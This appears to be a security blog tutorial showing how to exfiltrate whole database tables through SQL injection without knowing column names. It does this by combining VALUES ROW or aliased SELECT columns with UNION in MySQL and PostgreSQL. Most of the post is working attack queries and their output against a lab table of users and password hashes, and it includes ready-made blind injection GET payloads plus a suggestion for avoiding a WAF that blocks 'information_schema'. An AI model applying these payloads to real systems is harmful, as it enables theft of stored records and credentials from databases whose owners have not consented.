(7 min read)
In the exploitation phase after finding SQL injection vulnerabilities, attackers usually exfiltrate all the information stored in the database. But first, in order to exfiltrate all of the information stored in the tables of the DB, the attacker must previously know the column names that compose those tables.
This post will show a method for extracting all the information contained in a table/view without having to know the name of any of its columns at all.
This method can significantly speed-up the exfiltration process, specially in situations where information must be extracted one character at a time as with blind injections. See the following query done in a fresh install of MySQL:
mysql> select count(*) from information_schema.columns;
+----------+
| count(*) |
+----------+
| 3542 |
+----------+
1 row in set (0.12 sec)
This means that a total of 3,542 column names must be extracted in order to be able to craft the queries that will exfiltrate the tables. Next, see the total of all the characters that must be extracted:
mysql> select sum(length(column_name)) from information_schema.columns;
+--------------------------+
| sum(length(column_name)) |
+--------------------------+
| 47026 |
+--------------------------+
1 row in set (0.02 sec)
There is a total of 47 thousand characters that must be extracted to find all the column names in a fresh MySQL install. This means that even when using an optimized high speed method for blind sql injections such as duality (4-5 requests per character), it would take an average of 188,104 requests to get all the column names.
A database found in a corporate or industrial environment can be extremely larger.
So now, with the method described in this post, around 188,000 requests are going to be avoided and the tables and views will be exfiltrated right away.
Let users be the table that is going to be exfiltrated:
mysql> select * from users;
+----+----------------+----------------------------------+--------------------------+
| id | user | password | email |
+----+----------------+----------------------------------+--------------------------+
| 1 | admin | 21232f297a57a5a743894a0e4a801fc3 | admin@lab.com |
| 2 | napster | a55a2ac81471922949a48cf45f7fe271 | napster@lab.com |
| 3 | axl | d52d3013075fe1078c47236cdc338422 | axl@lab.com |
| 4 | zero-cool | 35188f8ec0079224b1c35266ac715c99 | zero-cool@lab.com |
| 5 | acid-burn | f40a32a42ce18d2fbf83e2685543e940 | acid-burn@lab.com |
| 6 | phreak | ab1cd5ef2a0e1cd8bece87dcb9bc1c1d | phreak@lab.com |
| 7 | cereal-killer | fe6ee6ea072a958bc77c425c48db9b6a | cereal-killer@lab.com |
| 8 | lord-nikon | cd69b4957f06cd818d7bf3d61980e291 | lord-nikon@lab.com |
| 9 | crash-override | 0833dd29368e07bbdcf85ea2707c5dc0 | crash-override@lab.com |
| 10 | neo | 6bed9f1fb7f15e4892df4616fa820dec | neo@lab.com |
+----+----------------+----------------------------------+--------------------------+
10 rows in set (0.00 sec)
The first instruction that you need to know for this exfiltration method is VALUES. VALUES will let you return a row whose values are explicitly defined in the query:
mysql> values row(0,0,0);
+----------+----------+----------+
| column_0 | column_1 | column_2 |
+----------+----------+----------+
| 0 | 0 | 0 |
+----------+----------+----------+
1 row in set (0.00 sec)
As you can see, this query returns one row composed of three columns whose values were defined in the query itself (0, 0, 0). This is convenient because the column names default to column_0, column_1, ..., column_n.
Now it is only a matter of using UNION to append the desired table to the row that has the default column names:
mysql> values row(0,0,0) union select * from users;
ERROR 1222 (21000): The used SELECT statements have a different number of columns
mysql> values row(0,0,0,0) union select * from users;
+----------+----------------+----------------------------------+------------------------+
| column_0 | column_1 | column_2 | column_3 |
+----------+----------------+----------------------------------+------------------------+
| 0 | 0 | 0 | 0 |
| 1 | admin | 21232f297a57a5a743894a0e4a801fc3 | admin@lab.com |
| 2 | napster | a55a2ac81471922949a48cf45f7fe271 | napster@lab.com |
| 3 | axl | d52d3013075fe1078c47236cdc338422 | axl@lab.com |
| 4 | zero-cool | 35188f8ec0079224b1c35266ac715c99 | zero-cool@lab.com |
| 5 | acid-burn | f40a32a42ce18d2fbf83e2685543e940 | acid-burn@lab.com |
| 6 | phreak | ab1cd5ef2a0e1cd8bece87dcb9bc1c1d | phreak@lab.com |
| 7 | cereal-killer | fe6ee6ea072a958bc77c425c48db9b6a | cereal-killer@lab.com |
| 8 | lord-nikon | cd69b4957f06cd818d7bf3d61980e291 | lord-nikon@lab.com |
| 9 | crash-override | 0833dd29368e07bbdcf85ea2707c5dc0 | crash-override@lab.com |
| 10 | neo | 6bed9f1fb7f15e4892df4616fa820dec | neo@lab.com |
+----------+----------------+----------------------------------+------------------------+
You can use LIMIT to return only one row.
mysql> values row(0,0,0,0) union select * from users limit 1,1;
+----------+----------+----------------------------------+---------------+
| column_0 | column_1 | column_2 | column_3 |
+----------+----------+----------------------------------+---------------+
| 1 | admin | 21232f297a57a5a743894a0e4a801fc3 | admin@lab.com |
+----------+----------+----------------------------------+---------------+
1 row in set (0.00 sec)
As a result now you have a little table composed of the first row you wish to extract. It is possible to query this table by using it as a derived table (the AS keyword must be used to assign a name to the derived table):
mysql> select column_2 from (values row(0,0,0,0) union select * from users limit 1,1) AS t;
+----------------------------------+
| column_2 |
+----------------------------------+
| 21232f297a57a5a743894a0e4a801fc3 |
+----------------------------------+
1 row in set (0.00 sec)
Now you are querying for specific columns by using the default names. You can also use the default names for testing conditions. These queries would look something like this in a GET parameter vulnerable to SQL injection:
/vulnerable?sqli=1' AND (select substring(column_2, 1, 1) FROM (values row(0,0,0,0) union select * from users limit 1,1) AS t) = '1
FALSE response
/vulnerable?sqli=1' AND (select substring(column_2, 1, 1) FROM (values row(0,0,0,0) union select * from users limit 1,1) AS t) = '2
TRUE response
This attack may vary from one DBMS to another. For instance, in PostgreSQL the default names do not have underscores and the ROW keyword doesn't have to be used:
lab=# values (0,0,0,0);
column1 | column2 | column3 | column4
---------+---------+---------+---------
0 | 0 | 0 | 0
(1 row)
However, in PostgreSQL the data types of each column must match the data types of the rows returned by the UNION clause, otherwise you get an error:
lab=# values (NULL, NULL, NULL, NULL) union select * from users limit 1;
ERROR: UNION types text and integer cannot be matched
LINE 1: values (NULL, NULL, NULL, NULL) union select * from users li...
^
You can solve this by using SELECT instead of VALUES:
lab=# select NULL, NULL, NULL, NULL union select * from users limit 1 offset 1;
?column? | ?column? | ?column? | ?column?
----------+-----------+----------------------------------+-------------------
5 | acid-burn | f40a32a42ce18d2fbf83e2685543e940 | acid-burn@lab.com
(1 row)
In order to avoid getting duplicate column names it is possible to use column aliases for defining custom default names:
lab=# select NULL as custom1, NULL as custom2, NULL as custom3, NULL as custom4 union select * from users limit 1 offset 1;
custom1 | custom2 | custom3 | custom4
---------+-----------+----------------------------------+-------------------
5 | acid-burn | f40a32a42ce18d2fbf83e2685543e940 | acid-burn@lab.com
(1 row)
So just to conclude, column aliases can also be used with MySQL so there is really no need to use VALUES unless you want to shorten your injection:
mysql> select 0 as custom1, 0 as custom2, 0 as custom3, 0 as custom4 union select * from users limit 1,1;
+---------+---------+----------------------------------+---------------+
| custom1 | custom2 | custom3 | custom4 |
+---------+---------+----------------------------------+---------------+
| 1 | admin | 21232f297a57a5a743894a0e4a801fc3 | admin@lab.com |
+---------+---------+----------------------------------+---------------+
1 row in set (0.01 sec)
This method can also be useful when information_schema cannot be read because of lack of permissions or because there is a WAF blocking that keyword. Guessing some table names can be much easier than guessing all the columns in a given table.
And that's it for now. Happy hacking.